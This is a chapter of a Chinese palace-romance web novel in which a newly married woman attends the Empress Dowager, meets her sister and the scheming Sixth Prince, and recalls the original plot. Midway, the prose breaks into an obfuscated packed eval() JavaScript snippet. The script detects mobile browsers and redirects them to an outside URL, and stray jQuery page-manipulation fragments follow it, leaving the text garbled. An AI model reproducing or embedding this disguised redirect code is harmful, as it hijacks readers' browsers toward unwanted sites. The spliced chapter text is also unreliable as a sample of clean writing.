睡前劳累,睡后还做一宿梦。徐绥之理所当然地没起来床。
起得晚点也没事。太后身体不好,年纪上来后,每日睡到日上三竿才起。
新婚的第一日,首要的是先去太后宫中请安,皇上皇后还有其他妃嫔也都是先给太后请安。
且赵含章还未出宫建府,仍住在宫中,距离太后永安宫很近。
徐绥之便能多睡一会儿。
醒来时身上干爽舒适,将脸从赵含章的胸怀中拔出来,徐绥之勉强回忆起睡梦中发生的事情。
姐姐住在东宫,她随赵含章暂居兴庆宫的一处小院——留芳堂。要去东宫也很容易。
不出意外的话,太子和徐艾之也会在请安的行列中。
赵含章眼神清明地搂着她,“要起来了吗?”
“嗯……是不是要请安了?”徐绥之声音有些哑,但还算正常。
“不急,”赵含章抬手把她额前的碎发拨到耳后,“太后娘娘起得晚,我们再躺会儿也无妨。”
徐绥之顺势又往他怀里缩了缩,脑子里却在飞快转着昨晚的梦。
社会异常管理局、原书剧情、六皇子……
她默默在心里把六皇子骂了八百遍。
堂堂皇子,没有自己的老婆吗?非要抢别人的老婆?
秋日渐凉。被子里暖和,心里还装着糟心事儿,徐绥之越发不想起。
“想什么?”赵含章的声音从头顶传来。
徐绥之回过神,仰起脸看他,“在想太后娘娘和母嫔会不会喜欢我。”
这是实话。毕竟赵含章自小养在太后膝下,同太后的关系远远胜过皇上皇后。
宜嫔是赵含章的生母,日后的来往也不会少。
徐绥之只在成婚前听赵含章提过几句,然后就是成婚当日匆忙拜会,还未真正地有所交流。
说来奇怪,在此之前她甚至都没有正式入宫,见过宫中的大人物们。同赵含章的婚事也只是一日偶然相见后,他犹豫地问了句:“若是要挑个成亲的人选,我怎么样?”
当时他们两人蹲在墙角的狗洞那儿,一个在墙里,一个在墙外。
徐绥之没有多想,半点不过脑子地说道:“好啊好啊,到时候我们不就能光明正大地一块儿去逛街游玩了?”
墙里的人先是噎住,随即欣喜地说了声好。
再过几日,赐婚的圣旨就下来了。
徐绥之人还是懵的,在她爹娘的提醒下接下了圣旨。
对上爹娘毫不意外的眼神,徐绥之更懵了。
总觉得他们有什么事瞒着自己。
直至今日,徐绥之还是懒得多想。比起盲婚哑嫁开盲盒,和从小认得的玩伴搭伙过日子显然是更好的选择。
经过一晚后,她更是确认自己的选择再正确不过。
“会喜欢的。”赵含章给她掖好被子,以免受凉,自己起身去拿衣服,一面说道:“母嫔性格和顺,早就想见你一面。太后娘娘最是厌烦装模作样的人,最爱迟迟这样耿直纯澈的。”
徐绥之听他一本正经地夸自己,忍不住笑出声,“你这是损我还是夸我呢?”
赵含章拿着衣服回来,低头看她,“夸你。”
他说这话时脸上没有什么多余的表情,语气也是平平的,但徐绥之就是觉得他眼底带着笑。
两人又磨蹭了一会儿,直到外头的宫人轻声提醒时候不早了,才慢悠悠起身。
用了些清粥小菜垫肚子,夫妻俩便往永安宫去了。
秋日的阳光落在宫道上,暖融融的。
两侧红墙高松,头顶是四四方方的天,偶尔有宫人低着头匆匆走过。
徐绥之走着走着,忽然觉得有点不对。
他们才成婚,走在一块儿只有衣袖碰来碰去。哪家的新婚夫妻是这样的?
于是,徐绥之一伸手便握住了男人宽厚修长带着薄茧的手。
赵含章步子顿了一下,侧头看她,没说话,耳根却染上一层薄红。
徐绥之冲他笑了笑,“怎么,不能牵?”
“能。”赵含章没有丝毫犹豫,反而把她的手握得更紧,压低嗓音道。
徐绥之满意了,晃了晃两人交握的手,继续往前走。
赵含章由着她晃,嘴角弯了弯,没吭声。
到永安宫门口时,已经候着不少人。
徐绥之这才把手松开。
规矩她还是懂的,在贵重的外人面前得收敛些。
赵含章垂眸看了眼空了的掌心,站得离她更近了些。
徐绥之一眼就看到了自家姐姐。
徐艾之穿着太子妃的礼服,端端正正地站在人群前列,身侧是太子赵瑜。夫妻俩并肩而立,一个温润,一个端庄,瞧着倒是般配得很。
徐绥之刚想喊,想起场合不对,硬生生把话咽了回去,老老实实跟着赵含章站到该站的位置。
但还是忍不住往姐姐那边瞄。
徐艾之似有察觉,侧头看过来,嘴角微微弯了弯,眼底带着温和的笑意。
徐绥之也冲她眨眨眼。
姐妹俩的小动作没逃过太子的眼睛。他低头对徐艾之说了句什么,徐艾之耳根微微泛红,收回目光,不再看这边。
徐绥之在心里叹了口气。
都成婚一年了。
看这样子,姐姐姐夫恩爱的不得了。也不知道原书里姐姐得知太子的死讯还要被六皇子羞辱,是怎么撑下去的。
她正想着,余光瞥见几个人影。
一个是六皇子赵瑄,身形修长,面容俊朗,唇角挂着恰到好处的浅笑。他身侧站着个年轻女子,妆容精致,身姿袅娜,一只手若有若无地抚着小腹。
应该是六皇子侧妃,至于叫什么,徐绥之一时没想起来。
略略在脑子里翻了翻原书内容。
侧妃这状态估摸着是怀上了——赵瑄在纠缠她姐姐的同时,后宫的妃嫔一个没落,孩子也没少生。
这可是长子,书里带过一两笔。
那这位侧妃想必就是日后的张淑妃,跟她姐姐最不对付的一个。
徐绥之忍不住多看了两眼,顺带着咬牙切齿。
然后感觉后腰被人轻轻碰了一下。
徐绥之都不用看就知道是赵含章。
她侧头看他。
赵含章目视前方,一副老实本分的模样。
徐绥之差点笑出声,悄悄伸手,在他袖子上轻轻拽了一下,算是回应。
赵含章扯了扯唇角,没看她,但周身的气场明显柔和了几分。
赵瑄的眼神不经意扫过来,落在赵含章身上,笑着点了点头,“十二弟。”
赵含章微微颔首,“六哥。”
赵瑄又看向徐绥之,笑容不变,“十二弟妹。”
徐绥之维持着真切的假笑,“六哥。”
张侧妃跟着福了福身,动作轻柔,目光在徐绥之脸上转了一圈,带着恰到好处的善意。
徐绥之也回了礼,心想这位未来的张淑妃瞧着温温柔柔的,却想不到日后又是给她姐下毒又是找人要□□她姐。
正好给六皇子“英雄救美”的大好机会。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315185|198931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
太子赵瑜领着徐艾之也走了过来,拍了拍赵含章的肩,“十二弟,昨夜休息得可好?”
赵含章欠身,“劳皇兄挂念,一切都好。”
太子点点头,笑道,“十二弟妹,往后常来东宫走动,你姐姐总念叨你。”
徐绥之乖巧应了,“是,姐夫。”
太子被这声“姐夫”叫得一愣,旋即笑意更深了些,“小妹。”
正说着,里头传来通传声,众人鱼贯而入。
永安宫的正殿宽敞明亮,萦绕着淡淡的檀香。
太后坐在上首,衣着素净,面容和蔼。皇上坐在她身侧,眉眼间带着几分倦色,但精神尚好。皇后坐在皇上下首,端庄矜贵,仪态万方。
徐绥之跟着赵含章行礼,眼角的余光扫了一圈。
殿内除了皇后,只有角落里还站着一位,衣着朴素,神色安静,正是宜嫔。
近看,她比徐绥之想象中的还要温和些,眉眼温柔,看向赵含章和自己时,眼中是藏不住的关切。
太后招手让徐绥之近前,“好孩子,过来让哀家瞧瞧。”
徐绥之走上前,太后拉着她的手上下打量,笑得眼角皱纹都深了几分,“是个齐整孩子。含章那闷葫芦,倒是会挑人。”
徐绥之笑道,“太后娘娘过奖了。闷葫芦合该配我这个话多的才好呢。”
太后哈哈大笑,指着她对昭成帝说,“皇帝你听听,这性子,哀家喜欢!”
昭成帝也笑了,“徐相教女有方,两个孩子都不错。”
皇后跟着点头,笑容克制端方,“往后在宫里走动,有什么不懂的,只管来问本宫。”
徐绥之矜持地颔首,那抹无懈可击的假笑一直挂在嘴角。
原文里,皇后起初挺喜欢她姐姐的,可是太子早亡,皇后的二儿子六皇子登基,把姐姐强掳进宫,瞒得过别人,还能瞒得过亲娘?
已经是太后的皇后即便知道不是徐艾之的错,但又无法怪自己儿子,对徐艾之愈加冷漠,关起宫门不理世事。
太后又拉着她问了些家常,从吃穿住行问到赵含章待她如何。徐绥之一一答了,答得太后直笑。
“是个实诚孩子。”太后对身边的嬷嬷说。
说话间,六皇子上前一步,躬身道,“皇祖母,孙儿今日还有一事禀报。”
太后抬眸看他,“哦?什么事?”
六皇子侧身,让出身后的侧妃,“张氏有了两个月身孕,孙儿特来给皇祖母和父皇、母后报喜。”
张侧妃温温柔柔的“嗯”了一声。
太后眼睛一亮,“这可是喜事!快,赐座,别站着。”
皇后也露出笑容,对侧妃招招手,“过来让本宫瞧瞧。两个月了?可有什么不适?”
侧妃走上前,轻声细语地答,“托母后福,一切都好,就是有些嗜睡,太医说无妨的。”
皇后点点头,拉着她的手叮嘱了好些话,什么“好生养着”“缺什么只管开口”,慈爱得像是亲生女儿。
昭成帝却是稀松平常地道:“喜事,皇后按例赏赐些东西吧。”
皇后:“是,皇上。”
皇上这态度,徐绥之不意外。
赵含章排行十二都到二十岁娶妻了,下面还有好几个没成年的弟弟妹妹。
光是皇子都快排到二十了。
公主少点。
太子排行老四,前面的一二三皇子,早就娶妻生子有了孩子。
人家正妃生的嫡孙都不止一个,六皇子的一个侧妃生的庶孙,皇上稀罕不到哪儿去。